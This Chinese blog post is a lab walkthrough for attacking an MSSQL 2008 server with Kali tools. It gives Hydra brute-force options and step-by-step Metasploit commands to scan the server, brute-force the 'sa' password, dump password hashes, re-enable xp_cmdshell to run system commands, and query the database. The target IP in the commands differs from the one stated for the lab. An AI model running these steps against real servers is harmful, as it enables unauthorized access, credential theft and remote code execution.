Endblc
如果有人在陪你,你又怎么会看这些文字。
Metasploit渗透MSSQ

access_time
brush 430个字
whatshot 78 ℃

Metasploit渗透MSSQ

环境:kali2.0

攻击机 kali 172.16.51.222
靶机 Win7_x64 172.16.51.225
数据库 MSSQL 2008 R2

Hydra

Hydra 是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括 数据库、SSH、FTP 等服-务,在 Kali Linux 中自带 Hydra

-l 指定用户名
-L 指定爆破用户名需要的用户字典
-p 指定密码
-P 指定密码字典
-t 指定线程
-v/V 详细信息
-f 成功找到一对登录名或者密码的时候中止破解
-o 将结果保存到文件
-e ns n:尝试空密码 s:用户名作为密码
-m 要攻击的服务器列表,每行一个条目,以':'指定端口

1.PNG

Msf操作

MSSQL运行在TCP的1433端口以及UDP的1434端口

使用NMAP对MSSQL进行踩点.这里,我们使用Metasploit自带的db_nmap插件

首先我们对目标的1433端口进行扫描

db_nmap -sV -p 1433 192.168.109.139

可以看到输出了MSSQL的一些信息。
扫描1434端口

db_nmap -sU -sV -p 1434 192.168.109.139

具体操作情况如下:
使用内置的NMap脚本获得一些关于目标数据库的附加信息

db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139

使用Metasploit的模块进行扫描

这里,我们用到可Metasploit的mssql_ping

use auxiliary/scanner/mssql/mssql_ping
s how options
set RHOSTS 192.168.109.139
run

爆破MSSQL密码

这里,用到的是Metasploit的mssql_login模块。
MSSQL的默认用户名为sa,默认密码为空,所以我们先测试下用户名为sa,密码为空的情况:

use auxiliary/scanner/mssql/mssql_login
show options
set RHOSTS 192.168.109.139
run

接下来,我们使用用户名字典和密码字典爆破目标数据库

use auxiliary/scanner/mssql/mssql_login
show options
set RHOSTS 192.168.109.139
set USER_FILE /root/user.txt
set PASS_FILE /root/pass.txt
run

可以看到目标数据库的用户名为sa,密码为123456

查找/捕获服务器的口令

这里,用到的是Metasploit的mssql_hashdump模块。

use auxiliary/scanner/mssql/mssql_hashdump
show options
set RHOSTS 192.168.109.139
set PASSWORD 123456
run

接下来,我们就可以使用其他工具爆破这些密码了。

浏览MSSQL

这里用到的是Metasploit的mssql_enum模块。

use auxiliary/admin/mssql/mssql_enum
show options
set RHOST 192.168.109.139
set PASSWORD 123456
run

重新载入xp_cmd功能

这里用到的是Metasploit的mssql_exec, 通过重新载入禁用的xp_cmdshell功能来运行系统级的命令

use auxiliary/admin/mssql/mssql_exec
show options
set CMD 'ipconfig'
set RHOST 192.168.109.139
set PASSWORD 123456
run

运行SQL查询命令

use auxiliary/admin/mssql/mssql_sql
show options
set RHOST 192.168.109.139
set PASSWORD 123456
set  SQL     select @@version
run

#如无特别声明,该文章均为 Endblc 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2022 年 11 月 17 日


create 添加新评论


account_circle
email
language
textsms





关于 DreamCat

主题名称:DreamCat | 版本:2.8.221001(LTS)

主题开发:HanFengA7 | TeddyNight | Dev-Leo | CornWorld | WhiteBearcn | DFFZMXJ

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2022 by LychApe All rights reserved!

加我的QQ
加我的微博
加我的支付宝
加我的微信